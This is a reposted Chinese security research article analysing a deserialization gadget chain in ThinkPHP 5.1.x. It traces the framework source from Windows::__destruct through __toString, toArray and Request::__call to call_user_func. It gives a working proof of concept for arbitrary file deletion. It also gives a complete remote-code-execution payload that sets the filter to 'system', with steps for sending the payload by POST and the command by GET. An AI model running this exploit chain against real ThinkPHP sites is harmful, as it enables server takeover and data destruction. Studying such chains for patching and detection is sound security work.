38

Thinkphp 反序列化利用链深入分析

 4 years ago
source link: https://www.tuicool.com/articles/UjMBra7
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:Ethan@知道创宇404实验室

时间:2019年9月21日

前言

今年7月份,ThingkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThingkPHP的反序列化漏洞。今天就探讨一下ThingkPHP的反序列化问题!

环境搭建

  • Thinkphp 5.1.35
  • php 7.0.12

漏洞挖掘思路

在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

漏洞分析

首先漏洞的起点为 /thinkphp/library/think/process/pipes/Windows.php__destruct()

3aYZBri.png!web

__destruct() 里面调用了两个函数,我们跟进 removeFiles() 函数。

class Windows extends Pipes
{
    private $files = [];
    ....
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ....
}

这里使用了 $this->files ,而且这里的 $files 是可控的。所以存在一个任意文件删除的漏洞。

POC可以这样构造:

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}

echo base64_encode(serialize(new Windows()));

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

removeFiles() 中使用了 file_exists$filename 进行了处理。我们进入 file_exists 函数可以知道, $filename 会被作为字符串处理。

26FJNz3.png!web

__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发 __toString 方法。我们全局搜索 __toString 方法。

6n2my2Y.png!web

我们跟进 \thinkphp\library\think\model\concern\Conversion.php 的Conversion类的第224行,这里调用了一个 toJson() 方法。

    .....
    public function __toString()
    {
        return $this->toJson();
    }
    .....

跟进 toJson() 方法

    ....
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ....

继续跟进 toArray() 方法

   public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        .....
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }
            .....

我们需要在 toArray() 函数中寻找一个满足 $可控变量->方法(参数可控) 的点,首先,这里调用了一个 getRelation 方法。我们跟进 getRelation() ,它位于 Attribute 类中

    ....
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    ....

由于 getRelation() 下面的 if 语句为 if (!$relation) ,所以这里不用理会,返回空即可。然后调用了 getAttr 方法,我们跟进 getAttr 方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......

继续跟进 getData 方法

   public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

通过查看 getData 函数我们可以知道 $relation 的值为 $this->data[$name] ,需要注意的一点是这里类的定义使用的是 Trait 而不是 class 。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait 。通过在类中使用 use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用 use 关键字。然后我们需要找到一个子类同时继承了 Attribute 类和 Conversion 类。

我们可以在 \thinkphp\library\think\Model.php 中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......

我们梳理一下目前我们需要控制的变量

  1. $files 位于类 Windows
  2. $append 位于类 Conversion
  3. $data 位于类 Attribute

利用链如下:

eUnAVrF.png!web

代码执行点分析

我们现在缺少一个进行代码执行的点,在这个类中需要没有 visible 方法。并且最好存在 __call 方法,因为 __call 一般会存在 __call_user_func__call_user_func_array ,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在 /thinkphp/library/think/Request.php ,找到一个 __call 函数。 __call 调用不可访问或不存在的方法时被调用。

   ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

但是这里我们只能控制 $args ,所以这里很难反序列化成功,但是 $hook 这里是可控的,所以我们可以构造一个hook数组 "visable"=>"method" ,但是 array_unshift() 向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

在Thinkphp的Request类中还有一个功能 filter 功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖 filter 的方法去执行代码。

代码位于第1456行。

  ....
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
            .....

但这里的 $value 不可控,所以我们需要找到可以控制 $value 的点。

....
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        ....
       // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针

                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
.....

但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用 input 函数的地方。我们找到了 param 函数。

   public function param($name = '', $default = null, $filter = '')
    {
         ......

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里仍然是不可控的,所以我们继续找调用 param 函数的地方。找到了 isAjax 函数

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

isAjax 函数中,我们可以控制 $this->config['var_ajax']$this->config['var_ajax'] 可控就意味着 param 函数中的 $name 可控。 param 函数中的 $name 可控就意味着 input 函数中的 $name 可控。

param 函数可以获得 $_GET 数组并赋值给 $this->param

再回到 input 函数中

$data = $this->getData($data, $name);

$name 的值来自于 $this->config['var_ajax'] ,我们跟进 getData 函数。

    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

这里 $data 直接等于 $data[$val]

然后跟进 getFilter 函数

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

这里的 $filter 来自于 this->filter ,我们需要定义 this->filter 为函数名。

我们再来看一下 input 函数,有这么几行代码

....
if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...

这是一个回调函数,跟进 filterValue 函数。

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
         .......

通过分析我们可以发现 filterValue.value 的值为第一个通过 GET 请求的值,而 filters.keyGET 请求的键,并且 filters.filters 就等于 input.filters 的值。

我们尝试构造payload,这里需要 namespace 定义命名空间

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

首先自己构造一个利用点,别问我为什么,这个漏洞就是需要后期开发的时候有利用点,才能触发

IzYjI3E.png!web

我们把payload通过 POST 传过去,然后通过 GET 请求获取需要执行的命令

nQJ7BjI.png!web

执行点如下:

Eb2Ezim.png!web

利用链如下:

iYnqmqF.png!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK